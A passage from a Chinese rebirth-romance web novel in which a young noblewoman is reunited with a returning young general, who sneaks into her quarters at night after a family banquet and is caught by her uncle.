乔姝月眼前一亮,赶紧放下名单,拆了信来瞧。 一边拆一边美滋滋地问:“这个月怎么慢了几日。” “西北雪灾,路不好走。”乔誉手捏着茶盅,睨她一眼,“再说人家有正事要忙,晚回几日又如何?” 乔姝月笃定道:“他再忙也会回我信的。” 乔誉无言片刻,错开视线不再理她。 一转头对上玉竹幽怨的目光。 乔誉:“我是不是耽误你们正事了?” 乔姝月摇头,“没有没有,这才是头等大事。” 玉竹跺了跺脚,撂下一句“夫人再催我就要告姑娘的状”,跑了出去。 乔姝月当没听到,读完了信,惊喜道:“原来大军两月前就出发了!” 上个月的信里怎么没提呢? 乔誉诧异地道:“那快到了。” “我还以为他赶不上我的生辰。” 乔姝月眷恋地拂过信纸上的墨迹,垂着眼睛,笑容里不知为何带了几分哀伤。 乔誉沉默片刻,“他回来了,你有何打算?” 乔姝月笑了笑,没有犹豫,“我能有何打算?看他自己吧。” 总不至于人家给她签了一张卖身契,她就真的把他当一辈子的奴仆了。 虽然他们之间一直没断联系,但他其实很少会说自己的事,大多时候都是她在说最近又读了什么书做了什么事,他也回复一些读书上的事,再抛一些问题给她。 关于他们之间的事,其实从未提起过。 在这之前,乔姝月一直不知道他何时回来,自然也不确定他如今是什么心思。 一切都只能等回来见了面才清楚。 按照前世的轨迹,谢昭凌在外面起码还要再待四五年才会回京。 那时国已经乱了,他组建反抗军,攻入京城,诛杀暴君,取而代之。 不知今生他的人生轨迹改变成了什么样子。 前世倒是没听说过什么谢小将军,不过当初舅舅的确是和谢昭凌一起入京的,乔家落难后,乔姝月便没再收到过舅舅的消息,不知他们当初是如何遇到一起的。 乔姝月收好了信,抬头想对乔誉说一声谢谢。她抬眼见到的是四哥的侧脸,微微一愣。 一股微妙的熟悉感袭上心头。 乔姝月揉揉眼睛,又仔细地盯着瞧了瞧。看过乔誉的眉眼,又去看他的下半张脸。 乔誉回过神来,见到妹妹神情古怪地看着自己,心中也生出一丝异样,“怎么?” “四哥,你今年十几了?” “我比你大三岁,你说呢?” 十八。 乔姝月回忆了一下谢昭凌的面容,有那么一瞬间竟觉得此刻的乔誉与彼时的谢昭凌有几分相像。 不过也只有一晃神的功夫觉得相似,细看之下,还是不像的。 谢昭凌有着一双凌厉的凤眸,而乔誉不是。 谢昭凌像一把出鞘的剑,锋芒毕露,张扬冷厉。 乔誉则更像是一汪平静的湖水,看似无害,却深不见底。 乔姝月叹了声:“我可能是太想他了。” 眼都花了。 乔誉冷笑,懒得理她。 乔姝月回忆起四哥和陛下前世的渊源,好奇道:“你什么情况下会和谢昭凌站在一起?” 乔誉纳闷道:“我们不是一直站在一边吗?” 乔姝月摇头,“若你们素不相识呢?” 素不相识么。 乔誉觉得那大概只有一种可能。 他说:“利益相同。” 毕竟他对谢昭凌的初印象并不好,哪怕没有妹妹的偏爱,他第一眼也是不喜欢谢昭凌的。 说不出什么原因,只觉得看到他那副样子就排斥。 乔誉琢磨,这或许是因为在许多方面都太过相像吧。 若无同处一个屋檐下的这些机缘,他们大概会是彼此利用却无法交心的关系,不像现在,是惺惺相惜的挚友,是密不可分的家人。 乔姝月若有所思:“唔,看来只有我一个人见到他就喜欢。” 乔誉受不了了,闷下一口茶,抬屁股走了。 ** 大军入京那日,是四月初十,距离乔姝月的及笄宴还有六天。 乔姝月听到消息时,险些从床上掉下去。 天色微亮,她着急忙慌地跑到妆奁前,催促玉竹给自己梳妆。 “信上不是这么说的,明明说了提前一两日啊!” 刘妈妈捂嘴笑道:“是想给姑娘一个惊喜吧。” 紫棉早早就做好准备,有条不紊地安排好一切。 玉竹翻了个白眼,戳穿道:“就只有姑娘一个人不知情呢。” 乔姝月睡眼惺忪,瞪大了眼睛。 玉竹道:“四公子昨日给了奴婢们消息,说要瞒着姑娘,四公子说这是那个人的嘱托,叫奴婢们瞒严实了。” “他为什么瞒着我!” 刘妈妈笑道:“还能为何?姑娘心思多,若是早早就知道要回来,头一晚上肯定睡不好了,所以就故意往后说了几日,想让姑娘能睡个好觉。” 乔姝月气得要丢下手里的梳子,“那我要是错过了他回京怎么办!” 玉竹幽幽来一句:“扔啊,正好换个新的。” 乔姝月一下抓紧玉梳上的小兔子,抱在怀里。 玉竹无情嘲笑:“哈哈,还是舍不得。” 乔姝月瞪她一眼。 “听说大军凯旋可威风了,”刘妈妈感慨了声,“也不知谢护……不,现在要叫小将军了,也不知如今是什么模样。” 乔姝月捂着心口疾速跳动的心脏,脸颊微微泛红,难得露出几分少女情态。 怕赶不及见面,乔姝月匆匆打扮后便带着人出了门。 今日街上热闹,都是来看将士归朝的,乔姝月险些没找到位置站。 玉竹被人群挤得左右摇晃,懊恼道:“早知道就在楼上订个包间了,还得在这和人挤。” 刘妈妈道:“订了咱们姑娘也不会去的。” 玉竹看着已经冲到前排的乔姝月,默了默。 好在周围一圈都是女子,她们姑娘今儿还带了帷帽,看穿着也不会让人轻易冒犯了去。 刘妈妈感慨:“谢护卫真受欢迎啊。” 玉竹不服气,“哼,是大将军有威名才是。” “来了!” 人群中顿时喧闹起来。 和西羌的战争持续了数十年,如今竟真的结束了。 “听说谢小将军几次出奇兵直捣敌人老巢,打了对方措手不及,才扭转了局势。” “是哪个让我瞧瞧!最年轻的那个吗?” “就是那个最俊的,哎!来了来了!领头呢!” 厚重的城门向两侧拉开,骑兵在前,步兵在后,各个披甲执锐,迎着金色的朝阳,踏入皇城。 为首的那人长发高束,修长的双腿夹着马腹,跨坐于高头大马上,身着笔挺利落的骑装,在规整的矩阵前方,投落出他挺拔颀长的身影。 人越来越近。 乔姝月一颗心提到了嗓子眼,不自觉又往前走了两步,旁边的人也在往前挤,没留神两个人撞到一起。 乔姝月被绊了一跤,踉跄两步,堪堪止住步子,一阵风吹过,手帕从她指尖飘落。 帕子轻盈,被风吹远,飘落到了为首将领的马前。 男人一勒缰绳,停在原地。 众人皆静了下来。 众目睽睽之下,竟见男人翻身下马,而后径自走到道路中央。 手按在腰间的攀云剑上,弯下身,拾起那条黄色的丝帕。 帕子掉落的那一瞬,乔姝月只觉得一切都静止了,眼中唯有那道魂牵梦萦的身影。 他捡了帕子,又直起身,转身朝着她的方向走来。 “乔姑娘?是你吗?” 耳畔忽然落下一男子惊喜的叫声。 乔姝月茫然回头,透过帷幔,见到个熟悉的面容,“林公子?” “真巧啊,你……” “姑娘。” 两道声音重合在一起。 男人低哑轻柔的声音重重砸进乔姝月的耳朵。 她顿时红了眼睛,倏地转头看去。 男人已经走到近前。 又一阵大风忽然刮过。 风吹起乔姝月的帷帽。 薄纱飞起一瞬,四目相对,再无遮掩。 乔姝月看清了他的样子,他与前世初遇时,已经没有什么分别。 望着她的目光温柔似水,含着缱绻的情愫。 是那个对她一眼心动的目光。 两世相处的回忆如潮水,顷刻间汹涌而来,将人淹没。 少女密长的眼睫沾了潮湿,光落在她灵动的星眸中,显得愈发明亮。 只是刹那的对望,轻纱又落了回去。 谢昭凌轻轻吐息,始终舍不得挪开目光。幽深难辨的目光一寸寸从她面容上扫过,最终落在她那双漂亮的眼睛上。 心中的思念与爱恋愈发膨胀,难以克制,疯狂滋长。 他情不自禁,又朝她走了一步。 微风吹动少女的裙摆,轻轻扫过他的战靴。 男人微低了头,将手里的帕子递过去,嗓音低哑: “姑娘,拿好。” 第56章 【56】 手帕交还到乔姝月的手里,谢昭凌转身离开。 他翻身上马,队伍继续前行。 他没再看她。 直到队伍走远,乔姝月才低头,眨了眨酸涩的眼睛,看向手里的帕子。 上头似乎还残留着他的体温。 “乔姑娘,你怎么了?” 林察殷切地关怀道。 乔姝月捏紧帕子,低着头,摇了摇。 她没有什么心情攀谈寒暄,她脑子里都是谢昭凌看她时的那一双眼睛。 心悸得厉害。 刘妈妈与紫棉对视一眼,说道:“林公子怎么一个人?也是来凑热闹的?” 林察不好意思地颔首,“书院里都在传大军凯旋一事,我心向往之,想着来一睹风采。行检兄还要读书,我便只身前来。” 乔束,表字行检,乔姝月的三哥,与林察是同窗兼挚友。 刘妈妈感慨了一声:“三公子刻苦。” 便同林察告别,随着乔姝月一起回去了。 上了马车,玉竹还在回味林察最后的那个表情,嘟囔了句:“姑娘,林公子好像有些失落。” 刘妈妈道:“姑娘没理他,他当然失落。” 玉竹阴阳怪气道:“姑娘一心都在谢护……小谢将军身上呢。” “你这丫头,就是看不惯姑娘偏心别人,人家走了这么长时间,你这仇还记着?” 玉竹吐了吐舌头,扭过头去剥核桃。 乔姝月手里握着帕子,靠坐在窗边,神思不属,一语未发。 回到家中,她对着镜子左看右看。 “紫棉,你说我好看吗?” 紫棉认真地瞧着,点头:“自然,姑娘倾城之姿。” “那我能否让人一眼心动?” 这个问题紫棉答不上来。 刘妈妈一进门就笑了,“旁人心动没有老奴不知,老奴只知姑娘的一颗心乱得厉害。” 前些年,刘妈妈觉得他们年龄还小,没往那方面想。 等人走了,这一年又一年过去,刘妈妈才发觉乔姝月是情窦初开,早动了情。 好在那人还知道回来,没叫姑娘久等,如今看来,倒也不失为一段良缘,毕竟人是她看着长大的,后来又到了褚将军手底下养着,品性错不了。 “刘妈妈,都怪你们事先不知会我一声,”乔姝月嗔怪道,“我起得匆忙,都未曾好好打扮。” 她手里握着那只玉梳,手指反复去勾勒玉兔的形状。 “哟,您可饶了他吧,没打扮都叫人看得挪不开眼,若是再精心装扮,只怕人要失态了。” 乔姝月愣了下,旋即抿唇笑开,面露羞赧。她不好意思地低下头,嘟囔道:“何至于此。” 嘴上谦虚反驳,心里却受用极了。 “晚上夫人要给褚将军接风,不知他会不会也一起来,姑娘,咱们先准备着?” 乔姝月立马把玉梳放下,起身往回走,嘴里催促着: “玉竹!快将前些日子订制的新衣都拿出来让我挑挑!紫棉你去找趟施掌柜,问问新做的熏香好了没?为了及笄宴准备的那套新脂粉呢?拿给我试试!” 玉竹扁扁嘴,“催了三天都懒得试妆,这会儿倒是愿意了。” 便跟着刘妈妈一起出去了。 乔姝月由头到尾,都好好装扮了一番。 身着碧色绣木兰的罗裙,质地轻软细腻,裙摆随着莲步摇曳,腰间缀着的玉石璎珞也随之发出清脆的声响。 暮春时节的傍晚还有些阴冷,于是在罗裙之外又添了一件茶白的织金披风,领口与袖口处皆绣有木兰花,与裙摆上的纹饰交相呼应。 一路上不少人望来,眼里尽是惊艳。 乔姝月极少这般盛装打扮,她忐忑又期盼地到了主院,一双美目安静地在院中搜寻。 他定与舅舅在一处,只要打听出舅舅的下落便好。 整整三年未见,一时竟有些害怕。 大抵是因近乡情怯吧。 她心口像是揣了只兔子,呼吸都急促几分,一想到即将与他见面,她心中就紧张起来,手往哪儿放都不知道。 少女眉目如画,长而密的睫羽卷翘上扬,露出一双波光潋滟的杏眸,眼波流转间带着股娇俏。 清雅的碧色长裙又显出一股温婉柔和的书卷气,令人一见便心动不止,忍不住频频为她侧目。 院子里皆是下人,房中隐约能听到说话声。 刘妈妈挽着少女的臂弯,拍了拍手臂安抚道:“咱们进去瞧瞧。” 乔姝月低下头,摸向跳动得厉害的心口,缓缓吐出一口气。 每一步都走得没有真实感。 恍惚间便到了门前。 刘妈妈刚要掀帘子,忽听里头的一道威严肃穆的声音道: “你小徒弟如何谁关心?来了家里莫提不相干的人。” 紧接着就听褚玄英道:“怎么就不相干了?我妹妹是乔家主母,我是她哥,我自然不算旁人。那小子是我徒弟,我一生膝下无子,他算我半个儿,他自然也算不得旁人。” 乔父重重哼了声,显然十分不悦。 褚玄英又道:“再说了,他从这儿走出去,吃住在乔家两载,能算得上不相干?” 他冷笑道:“有些事不提是因为不能提,而不是忘了。妹夫在这儿摆脸色,怕是记不得你的几个孩子都是受谁恩惠才得以平安。” 屋里半晌没了动静。 褚氏轻轻将茶盅搁在桌上,埋怨两个人,“回回聚在一处就要拌嘴,往后我看也别见面了,省得将我这房顶吵破,还得找人修补。” “可不是我先起的话头,是某些人阴阳怪气地说陛下隆恩错付,又说什么世人总是识人不清。谁身上的隆恩是错付的?又是识谁不清?有些人在朝堂上耍完威风,回到家还要乱嚼舌根,岂是大丈夫之行径?” “你!!” “我什么我,我小徒弟不在你都这样诋毁他,还好没叫他跟来受你的鸟气。” 哗—— 门忽然被人推开。 乔姝月闯了进来。 屋中人皆是一愣。 褚玄英回头,瞧见来人,顿了好久。 少女仿佛春日里初绽的花朵,娇嫩鲜艳,美艳动人。 褚玄英惊呼道:“小外甥女,长这么漂亮了?!” 后面一句过来给舅舅看看还未说口,便听小姑娘跑到他面前,急急地道:“他没来吗?” 褚玄英“啊”了声,尴尬地摸了摸后脑,支支吾吾地。 见他这般,还有什么不明白的。 乔姝月垂下眼睛,委屈地说道:“我知道了。” 她对着父母行过礼,找了个地方坐下。 褚玄英心不在焉地又和褚氏说了会话,小厨房开始上菜,褚玄英找了个借口起身,走到乔姝月身边。 小姑娘眼眶通红,一个人躲在角落里闷闷不乐。 褚玄英人都懵了,手搭在她肩上,眉头拧成一个疙瘩结。 “那什么,他不是故意不来。” 呸,这臭小子,就是故意的! “是皇帝看中他,邀他一起用膳,推脱不得。” 想什么呢,要看重也是看中他褚玄英,他堂堂大将军都没能留下用膳,那臭小子凭什么?皇帝倒确实喜欢那小子,只不过柳贵妃来人去请,皇帝更喜欢和美人儿一起用膳,便把他们赶出来了。 “他此时正忙于官场的应酬,你知道的,他如今是新贵,炙手可热,许多人对他好奇呢。” 他是多的是人想巴结,可都被他那张臭脸挡了回去。此刻没有忙于应酬,却也不知在做什么。 让他来,他非不来,不知脑子里在想什么! 回京之前日日盼着,今天在街上还按捺不住性子去捡手帕,可见心急。 好不容易回来了,褚玄英以为两个孩子肯定要见面,结果出门前忽然告知,说不来,问他去做什么也不说,一个转身就没影了,去哪儿了也不知道。 褚玄英愁得掉头发,“他也想见你的,是真的有事情。” “嗯,我知道的,舅舅不必相劝,我不难受。” 乔姝月闷声说完,便起身入席去了。 褚玄英叹了口气,也跟上去。 ** 席间推杯换盏,好不热闹。 今日乔家三公子也归了家,乔家难得人齐。 褚玄英和四个外甥轮番说话喝酒,没一会功夫就又和乔父吵闹起来。 众人也都习惯了,笑着看两个长辈跳脚闹笑话。 只有乔姝月一个人低着头,筷子去戳碗里的饭,实在提不起兴致。 她不想扫兴,偶尔托着腮,假装在认真听,实则心里都要难受死了。 她脑子里反反复复出现的都是白日与他相见时的画面。 愈发郁郁寡欢。 余光里旁边有人为她斟茶,她心不在焉地端起来都灌了进去。 入口时便觉得不对,舌头被“茶水”烫得火热,咽下去时,喉咙里也火辣辣的,她捂着唇不住咳嗽,后背伸过来一只手,轻轻拍着她。 乔姝月侧头望去,见四哥双目圆睁,诧异震惊地看着她。 乔誉无言片刻,无奈道:“那是我的酒。” 乔姝月:“……” “这么不开心,你心里想谁呢?”乔誉明知故问,没见着人他心里也不痛快,阴阳怪气道,“这世间多的是飞黄腾达后便忘恩负义之人,犯不上为其伤神难受。” 这话也说给他自己听。 乔姝月咳红了眼,把头扭回去,将自己杯子里的茶一饮而尽。 辛辣感渐渐褪去,心中的酸涩却发酵得愈发醇厚味浓。她心里清楚,谢昭凌不是四哥口中的那类人。四哥也知道,四哥就是故意气她。 谢昭凌不在,四哥就欺负她,欺负她这个没人要的小可怜。 她鼻子被酒味呛得难受,眼泪蓦地涌出来几滴。 匆匆抬手拭去,又转回头,见乔誉还看着她。 也不知怎么,乔姝月盯着眼前这张脸,又觉得某些部位肖似某人,一股怒气直冲头顶。 她想也没想,抬手就在那人肩上用力锤了一拳。 乔誉:“……?” 打他作甚。 乔姝月一拳过后不觉得解气,紧接着又是一拳。 乔誉捂着肩膀,起身就跑,碗筷也不拿,跑到乔良身边,非要和乔良换座位。 二哥一看要换到妹妹身边,美滋滋地端碗起身。 他嫌弃地把乔誉的杯子和碗筷往前一推,笑着扭头,刚要夸妹妹今天真漂亮。 结果嘴巴刚一张,肩膀上连续挨了好多下拳头雨。 乔良“……” 数年前被妹妹按在麻袋里,胖揍得鼻青脸肿的记忆顿时袭击了他的大脑。 他再想和乔誉换回来,那个黑心肝的弟弟说什么都不肯了。 酒过三巡。 褚玄英还拉着乔父不肯撒手,几个小辈也都陪着。 乔姝月同母亲说了声头疼,要先离开。褚氏让乔誉送妹妹回房,乔誉应声,带着人往外走。 兄妹俩都饮了酒,加上都有心事,一个比一个沉默。 到了木兰院外,乔姝月叫住乔誉。 “四哥。” 女孩低低唤了一声。 “嗯。” “你说,我今晚美吗?” 乔誉沉默了会,低声道:“月儿极美。” “是吗……” 乔姝月转身走进院子。 有那一瞬,乔誉听到了妹妹的哽咽和委屈。 他想,下次见到谢昭凌,定要和他打上一架不可。 乔誉静静看着妹妹的背影,看着她进了屋,才转身离开。 乔姝月一边抹眼泪,一边往里走。 刘妈妈停在院子里,叹了口气,转身打热水,没跟进去。 乔姝月低着头走进房间,也没看屋里的人,直直往内室去,她没什么精神,恹恹道:“都出去吧,我想一个人待着。” 说罢伏到榻上,埋头抽泣。 屋里安静得出奇,没听到人离开。 半晌,听到有关门的声音。随后又有脚步声响起,越来越近。 有人停在屏风后,不动了。 乔姝月哭声一停,抬头望去。 只见落地的灯盏旁,光打在屏风上,映出一个修长挺拔的身姿。 紧接着,那道熟悉又陌生的声音唤了一声:“月姑娘。” 乔姝月心脏一紧,顿时哭出声,她起身便往外冲。 屏风后的人听到响动,转过身,似是知道她要做什么,他张开双臂,迎面接住撞进怀里的姑娘。 在她用力搂住他的腰时,他顺势将她往怀里揽。 谢昭凌低下头,鼻尖蹭到她的发丝,微合了双眼,不着痕迹地深深吸气。 怀中充盈,一颗心终于落到实处。 乔姝月呜咽一声,手紧紧抓着他的衣裳。 她埋怨道:“我以为你不来,难过了好久。” 缠在她腰间那条手臂倏地绷紧。 男人没有解释,而是任由人发泄。 半晌,哭声渐停。 埋首于男人结实的胸膛中,后知后觉,生出些羞赧来。 太久没有被成年后的谢昭凌抱过。 算一算,有五年了,竟然还有些不适应。 乔姝月红着脸从他怀里退开,扭扭捏捏,不知该说些什么。 谢昭凌克制着垂下手,这才哑声开口: “抱歉,让姑娘伤心,实非我所愿。我若随师父来,今夜便没有机会与你单独说话。” 乔姝月仰头往着他,“在宴席上见面,你不满足?” 谢昭凌目光直白,坦诚道:“众目睽睽,如何能满足?” 眼下这般,才是他真正想要的。 第57章 【57】 谢昭凌话音才落,乔姝月的脸就红了个彻底。 三年前分别时,他还不是这样。最初被她拉一下小手还要脸红,现在却可以毫不避讳地说出这种话来。 如今这般,倒有几分前世陛下的模样。望向她时,总是不遮掩目光里的情愫。坦城的话张口就来,分毫不带遮掩。 从前那个总要她追赶的人,如今却令她招架不得。 乔姝月面露羞赧,别过头去,心想着和前世还是有点不同的,那会她遇到的是二十四五岁的谢昭凌,多了几年的历练,到底更成熟些,懂得在她面前收敛,就算心里再喜欢,也怕吓到才刚脱离苦海的她,最终只是化为一句: “乔姑娘,近前来。” 而不是现在这样,才一见面,就说着什么他不满足的话。 原本下午没见到他前,她还很紧张。 虽然他们一直有书信来往,但到底不曾朝夕相对日日见面,如今不比从前。 她想过他们会不会生疏,见了面以后不知该说些什么。面对他可能会手足无措,觉得拘谨不安。 可他一开口便打破了她所有的顾虑。 此刻的谢昭凌,既有少年人的炽烈,又有成年男子的从容。 俩人没再做肢体上的碰触,目光也不曾交接,可是气氛仍是暧昧且紧绷的。 乔姝月双颊泛着热意,目光躲闪,左瞄右瞟,就是没个落点。她只觉得自己从头到脚都晕晕乎乎的,像是才喝了陈年的酒一般。 她好像的确饮了酒。 后知后觉。 在乔姝月兀自羞赧时,对面的男子目光久久停在她身上。 今日的小姑娘有着十足的吸引力,让人很难从她身上挪开目光。 趁着她没有抬头,谢昭凌得以肆无忌惮地打量她。 越是瞧,心跳声就越大。 谢昭凌克制着后退了半步,生怕自己胸口那鼓噪的声音吓到她。 他平复了心绪,才道:“我擅自闯入,还望姑娘莫怪。” “我怎会怪你。” 乔姝月无措地拨弄着自己腰间的璎珞串,下意识地说道。 窸窸窣窣的声音在房中响起。 她的嗓音黏黏糯糯的,多了几分从前少有的娇意。 谢昭凌终于察觉出不对劲来。 他靠近两分,在她身侧轻嗅,“饮酒了?” 乔姝月茫然抬眸,看着近在咫尺的俊俏的脸,咽了咽口水,“嗯,误饮。” 他低声问道:“难过到想要喝酒吗?” 乔姝月瞥他一眼,“倒也没到借酒浇愁的地步,说了只是不小心。” 见她目光涣散,呆呆的,又甚觉可爱。 没忍住抬手,在她头顶轻拍了一下。他比划着她的身量,轻叹:“长大了。” 乔姝月不知想到了什么开心事,顿时笑开,“是呀,长大啦。” 她朝他笑,一双眼睛弯得像月牙儿,媚眼红唇,似娇似嗔,摄人心魂。 他们挨得实在太近,近到她鼻梁上一颗浅红的小痣都十分惹眼。 谢昭凌呼吸一滞,停在她头顶的手顿了下,原本该拿下手来,却鬼使神差地,往后移去。 掌心贴在她的后脑,轻抚般地揉了揉,他一举一动、每一个眼神,都带着股漫不经心,将乔姝月的心勾得死死的。 掌心处的揉捏缓慢,舒适得乔姝月微微眯了下眼睛。 不知是否是她的错觉,他的动作隐约带了点迟疑和挣扎,似乎暗示着藏在平静水面下的,汹涌翻滚久不平息的心潮。 她怎么感觉,他很想要吻下来。 恍惚间,两人之间的距离竟渐渐近了。 他真的朝她靠了过来…… 乔姝月以为自己在梦里。 她被受了蛊惑,微微垂下眼睑,无声纵容。 “出事了!!” 院里传来一声惨叫,紧接着房门被大力推开。 乔姝月猛地惊醒,抬手将人推开。 她背过身去,面冲着屏风,面上一阵滚烫,如烈酒熏过一般。 谢昭凌垂下手,冷淡地朝门口看过去。 刘妈妈慌张的叫声顿时都卡在嗓子里。 她见到谢昭凌,亦是错愕不已,难以回神,“谢护卫?!” 电光火石间,刘妈妈懂了。 她面色复杂,“那房间里横七竖八的,你干的?” 谢昭凌泰然自若,“嗯。” 他大摇大摆,走到外间坐下。 刘妈妈:“……” 乔姝月拍了拍脸,故作镇定地转身,也跟过来,“什么横七竖八?” 刘妈妈看着自家姑娘那酡红得像是在脂粉里滚了一圈的脸,却非要强壮镇定自若,松了口气,忍不住笑道: “姑娘还说呢,你这好护卫,把咱们院里的人都放倒了,一个没剩,怪道刚刚进门我就觉得这院子里安静。” 乔姝月诧异地偏头望去。 刘妈妈庆幸道:“我一进小厨房,看着地上倒了两个,吓得魂儿都没了。” 后来急急去找人,丫鬟的房间,李护卫的房间都看了一遍,没一个是能站着喘气的,全都撂倒了。这才慌慌张张地来找主子,生怕是进了贼人,遭了难。 刘妈妈惦记着乔姝月的安危,着急忙慌推门而入,结果不曾想竟见到了意料之外的人。 不是听说,人有事要忙,来不了吗? 想来是嫌人多眼杂,不想掺和那些麻烦事,只一心惦记着一个人。 刘妈妈看着谢昭凌,笑骂了他一声,“你这孩子。” 多年不见,还是那么会惹事。 谢昭凌淡淡道:“抱歉。” 刘妈妈没听出真诚,无奈地看他一眼,眼睛又在乔姝月身上转了转,抿唇笑笑,转身出去,只不过这次没再关门。 毕竟他们的年纪已经不再适合深夜独处一室,传出去也不好听。 凉风吹进来,乔姝月脑子清明几分。 她走到男人身侧坐下,趴在桌上,好奇地望着他,“你把他们怎么了?” 谢昭凌垂眸看她,耐心解释:“只是在饭菜里下了迷药,睡一觉就好。” 乔姝月吃惊地微启红唇,“那你天没黑就来了?” 她记得她出门时,丫鬟们正在准备饭菜。 “嗯,等了你两个时辰。” 到底是相处过多年,知道他这话是在诉苦,乔姝月目光幽幽,“可我等了你一下午。” 真要比起来,还不一定谁更委屈。 谢昭凌蓦地笑出声,眼睛里尽是温柔,“我的错,姑娘打算如何罚我?” 乔姝月被他看得不好意思,红着脸别过头,小声嘟囔:“谁敢罚你啊,小谢将军。” 这称呼旁人叫起来还不觉有什么,她一唤,直叫人心尖发麻。 谢昭凌眸色深暗,沉默片刻,哑声问道:“我记得离开前给了姑娘一张身契。” 乔姝月后脑勺对着他,没言语。 男人语气认真:“谢某情愿一世为姑娘做——” 乔姝月蓦地转头,眼睛不知何时红了。 她怒道:“谁稀罕你做奴隶?男儿当志在四方,你不许如此轻慢自己!” 前世陛下也是这样,他们之间的关系说开以后,他有事没事就来找她,有时候还要她三催四请才肯去看奏折,俨然一副怀中美人抱,情愿不早朝的架势。 这可如何能行?怎能因儿女私情而延误正事? 看他小时候读起书来眼里再无旁人的模样,还以为他变了,岂料只是没开窍。 原来长大以后和前世是一个德行。 谢昭凌低声笑了,漂亮的凤眸微微弯起,故意道:“姑娘不稀罕是姑娘的事,我愿不愿意是我的事。” 少女怒目圆睁,“你!” 这真是强词夺理,才刚说过愿意为奴,做人奴隶首先就要惟命是从,听主子的话,他倒好,反驳起来理直气壮的,到底是不是真心的? 她气愤道:“我会嫌你一事无成的!” 谢昭凌纵容地笑望着,不再逗弄她,目光里多了几分认真,“那在下必定竭尽全力,不负所托。” 这次回京,必然要做出些事来。爬得再高些,没人能越过他,到那时就不会嫌弃他没本事了。 以为他真心悔过,乔姝月这才气顺了些。 要真是因为她,致使他放弃了满腔的抱负,那她才真是罪孽深重。 拌过几句嘴,彼此之间的熟悉感又回来了。 三年的空白被他三言两语填补上。 乔姝月不再觉得生疏扭捏,她下巴垫在手臂上,望着他痴痴地笑。 目光从他优越的五官一路往下描摹,停在他的喉结上,看了半晌。 谢昭凌忽然别过头去,给自己倒了一杯冷茶。 他倒没有一点做客的自觉,用起她屋里的东西十分趁手。 一盏冷茶入腹,他这才冷静下来。 侧目睨她一眼,忽然问道:“白日你身旁的男子,是谁?” 乔姝月目不转睛地盯着人瞧,被酒意冲昏的头脑生涩地转动着,好不容易才想起来。 “你是说林公子吗?那是我三哥的同窗好友。” 姓林…… 谢昭凌默默记下。 “你还记得以前的林韵吗?小时候我们经常约着一起出门的。” 谢昭凌颔首,“自然记得。” 她身边有两个好友,一个国公府家的陆姑娘,还有一位林姑娘。 “林察是林韵的兄长。” 谢昭凌若有所思:“吏部林尚书家?” 乔姝月诧异他记得,不过转念一想,前世吏部的林尚书也在谢昭凌手底下做官,只怕他当初入西京前便将大昌的官僚世家各方势力都掌握得一清二楚。 乔姝月好奇他如今做到了哪个地步,可她今夜脑子实在不清,不是讨论大事的好时机,便暂且将疑问都按下,往后再提。 但林察此人,可以多说两句。 乔家开始遭难,是从她十八岁开始。在父亲与大哥先后被人算计下狱后,只有林家会在暗中帮衬。 林家在此之前一直中立,始终不曾站队,而那时太子已倒,三皇子与柳家势不可挡,没了党派之争,林家暗地里做的事也没有被人注意到。 虽然做的事不多,也没有在大局上起到作用,但乔姝月依旧感恩。 在她入狱以后,林察曾想办法把四哥的密信送到了她的手里,只这一点,乔姝月便会一直记得他。 后来谢昭凌登基为帝,她偶然一次想起林察,便问了情况,谢昭凌只道那人已娶妻,过得很幸福。 还活着就好,乔姝月别无所求,只希望善待过她的人都能一生平安。 乔姝月感慨道:“林公子可是个好人,你若想结交,也尽可放心,他人没问题的。” 谢昭凌倏地转头,目光深沉,看她那一眼极为晦涩复杂,“也是你梦到的?” 好人?有多好?能比他还好? “对呀。” 谢昭凌心口发闷,没再说话。想起来白日那男子对她殷勤又爱慕的模样,心头似压着块巨石,愈发不畅快。 乔姝月觉得他有些不高兴,可又不知道为什么。 想不通,便不再深究。头有些晕,她索性趴着闭上眼睛。 她心情极好,唇畔挂着抹笑意,轻声呢喃:“阿凌,阿凌哥哥。” 谢昭凌背脊酥麻。 只一个称呼,便可叫他顷刻间散去周身戾气。 “……嗯,我在。” 男声低沉温柔,带着悦耳的磁性。 一时无言。 暗夜静谧。 过了会,刘妈妈过来催促。天色已晚,该休息了。 谢昭凌起身,看了一眼似乎已陷入梦境的女孩,打算悄无声息地离开。 怎料他才一动,她就醒了。 似乎是惊醒的,睁眼那一瞬,眼里还有无措和恐慌。 眼睛里含着水雾,瞧着委屈又可怜。 仰着头搜寻,在看到他那一刻,又松了口气。 似乎是害怕再也见不到他。 谢昭凌心中酸涩,抬手在她脑袋上揉了揉。 “改日我再登门拜访。” 乔姝月迷迷糊糊地看着他,“明日不行吗?” “明日还有事。” 皇帝知道他伤得重,吩咐了太医明日到将军府会诊。 关切是假,试探为真,是想看看他还能不能再上战场。 但这些就没必要说出来让她忧心了。 乔姝月哦了声,失落地垂下头。 她送他到门口,忽然拉住他的衣摆。 熟悉的下坠感传来,谢昭凌几乎是下意识便回牵住她的手,握在掌心,同时回身,眼神温柔,“嗯?” 小姑娘局促地抠着手指,但因为被他抓着,于是指甲便在他宽厚的掌心中留下痕迹。 另一只手缩在袖子里,遮住了她微微颤抖的手指,她看上十分不安,羞赧得面颊通红,目光闪烁,望着他欲言又止,却又饱含期待。 “阿凌哥哥,你觉得我今日……” 她鼓起勇气,“你觉得我如何?” 谢昭凌一瞬间有些恍惚,总觉得这话耳熟,隐约记着初见之时她也问过。 眼前的少女与当初那个圆滚滚的小丫头身影重叠在一起。 竟已经过去五年了。 那时他没有回答,此刻他却不想再回避。 谢昭凌抓起牵着的那只手,贴在自己的心口。 心脏正为她蓬勃有力地跳动着,他语气徐缓,温柔又直白道:“令人难以自持,险些失了分寸。” 乔姝月感受到掌心下强健有力的震动,害羞地抽回了手,背过身去,不再看他。 谢昭凌低笑了声,转身出门。 才刚迈出门槛,便见院外晃荡荡走进来一人。 “小外甥女儿,头还疼着呐?我来看——” 褚玄英停在原地。 渐渐地,他瞪圆了眼,颤抖着手,指着门口衣冠楚楚的男人。 浑身酒气,顷刻间全都散了。 第58章 【58】 随着一声怒喝—— “好你个臭小子!” 寂静的院子算是彻底热闹了起来。 褚玄英步履如风,腰也不酸了,头也不晕了。 眨眼睛就冲到面前,抬起拳头,冲着谢昭凌面门就招呼过去。 “舅舅!!” 迷迷瞪瞪走到门口的乔姝月顿时也吓得醒神。 她尖叫一声,跑了过来。 谢昭凌听到背后的脚步声,要躲闪的步子生生顿住。 他垂下眼睛,瞬时收起防御,打算硬抗下褚玄英这一拳。 